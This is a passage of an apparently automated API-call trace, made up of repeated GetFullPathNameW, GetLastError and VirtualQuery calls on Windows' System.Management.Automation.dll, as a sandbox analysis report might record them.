lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.403] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.404] GetLastError () returned 0x0 [0052.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.405] GetLastError () returned 0x0 [0052.405] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.405] GetLastError () returned 0x0 [0052.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.405] GetLastError () returned 0x0 [0052.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.405] GetLastError () returned 0x0 [0052.405] VirtualQuery (in: lpAddress=0x27cd34, lpBuffer=0x27dd34, dwLength=0x1c | out: lpBuffer=0x27dd34*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.405] VirtualQuery (in: lpAddress=0x27cd70, lpBuffer=0x27dd70, dwLength=0x1c | out: lpBuffer=0x27dd70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.406] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.406] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.406] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.406] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.407] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27cedc, lpBuffer=0x27dedc, dwLength=0x1c | out: lpBuffer=0x27dedc*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.408] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.409] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x10683ca0, Data2=0x8161, Data3=0x410d, Data4=([0]=0x81, [1]=0x4b, [2]=0x4e, [3]=0x1d, [4]=0x4d, [5]=0x91, [6]=0x2a, [7]=0xd8))) returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.409] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: 